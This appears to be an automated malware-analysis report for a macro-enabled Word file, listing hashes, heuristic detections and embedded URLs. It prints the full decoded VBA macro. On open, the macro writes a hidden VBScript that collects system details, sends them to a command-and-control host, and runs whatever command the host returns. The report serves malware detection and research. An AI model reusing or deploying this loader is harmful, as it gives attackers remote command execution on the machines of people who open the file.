Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 23760c7d5eb9a9ec…

MALICIOUS

Office (OOXML) / .DOCX

18.4 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-30
MD5: 054b859d86e6d21d6cbc42ec249d16f6 SHA-1: 71f3f269bf354d37aefab0698c305041717fd22e SHA-256: 23760c7d5eb9a9ec8c05a5132a61151c3cbe1fedbf83e677997a8409c14bb443
298 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set xY12b = CreateObject("WScript.Shell")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        xY12b.Run "wscript.exe " & aB34c, 0, True
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        dE56f = "Set shell = CreateObject(""" & Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & """)" & vbCrLf & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        dE56f = "Set shell = CreateObject(""" & Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & """)" & vbCrLf & _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        aB34c = Environ("TEMP") & "\tmp" & Format(Now, "yyyymmddhhmmss") & ".vbs"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://uithcm-my.sharID= In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3665 bytes
SHA-256: 84c8fd074519c7a6d09fc2e9856c47b600316a4f6c398b237bec4318fcade9a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim xY12b As Object
    Dim aB34c As String
    Dim dE56f As String
    
    aB34c = Environ("TEMP") & "\tmp" & Format(Now, "yyyymmddhhmmss") & ".vbs"
    
    dE56f = "Set shell = CreateObject(""" & Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & """)" & vbCrLf & _
              "Set http = CreateObject(""" & Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80) & """)" & vbCrLf & _
              "osVersion = shell.Exec(""" & Chr(115) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(105) & Chr(110) & Chr(102) & Chr(111) & Chr(32) & """).StdOut.ReadAll" & vbCrLf & _
              "osVersion = Split(osVersion, """ & Chr(79) & Chr(83) & Chr(32) & Chr(86) & Chr(101) & Chr(114) & Chr(115) & Chr(105) & Chr(111) & Chr(110) & Chr(58) & """)(1)" & vbCrLf & _
              "osVersion = Split(osVersion, """ & Chr(32) & """)(1)" & vbCrLf & _
              "architecture = shell.Exec(""" & Chr(119) & Chr(109) & Chr(105) & Chr(99) & Chr(32) & Chr(111) & Chr(115) & Chr(32) & Chr(103) & Chr(101) & Chr(32) & Chr(111) & Chr(115) & Chr(97) & Chr(114) & Chr(99) & Chr(104) & Chr(105) & Chr(116) & Chr(101) & Chr(99) & Chr(116) & """).StdOut.ReadAll" & vbCrLf & _
              "architecture = Split(architecture, """ & Chr(79) & Chr(83) & Chr(65) & Chr(114) & Chr(99) & Chr(104) & Chr(105) & Chr(116) & Chr(101) & Chr(99) & Chr(116) & """)(1)" & vbCrLf & _
              "architecture = Split(architecture, """ & Chr(32) & """)(1)" & vbCrLf & _
              "computerName = shell.Exec(""" & Chr(104) & Chr(111) & Chr(115) & Chr(116) & Chr(110) & Chr(97) & Chr(109) & Chr(101) & """).StdOut.ReadAll" & vbCrLf & _
              "computerName = Trim(computerName)" & vbCrLf & _
              "url = """ & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(99) & Chr(50) & Chr(115) & Chr(101) & Chr(114) & Chr(118) & Chr(101) & Chr(114) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(114) & Chr(101) & Chr(112) & Chr(111) & Chr(114) & Chr(116) & Chr(63) & Chr(111) & Chr(115) & Chr(86) & Chr(101) & Chr(114) & Chr(115) & Chr(105) & Chr(111) & Chr(110) & Chr(61) & """" & " & osVersion & """ & Chr(38) & Chr(97) & Chr(114) & Chr(99) & Chr(104) & Chr(105) & Chr(116) & Chr(101) & Chr(99) & Chr(116) & Chr(117) & Chr(114) & Chr(101) & Chr(61) & """" & " & architecture & """ & Chr(38) & Chr(99) & Chr(111) & Chr(109) & Chr(112) & Chr(117) & Chr(116) & Chr(101) & Chr(114) & Chr(78) & Chr(97) & Chr(109) & Chr(101) & Chr(61) & """" & " & computerName & """" & vbCrLf &" _
              "http.Open """ & Chr(71) & Chr(69) & Chr(84) & """, url, False" & vbCrLf & _
              "http.Send" & vbCrLf & _
              "If http.Status = 200 Then" & vbCrLf & _
              "    command = http.responseText" & vbCrLf & _
              "    shell.Run command, 0, True" & vbCrLf & _
              "End If" & vbCrLf & _
              "Set shell = Nothing" & vbCrLf & _
              "Set http = Nothing"
    
    Open aB34c For Output As #1
    Print #1, dE56f
    Close #1
    
    Set xY12b = CreateObject("WScript.Shell")
    xY12b.Run "wscript.exe " & aB34c, 0, True
    Set xY12b = Nothing
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 2eb855c4dc9c48a11cfae28761cab72ee6b4f5dfadedec4477940e25d09b0efa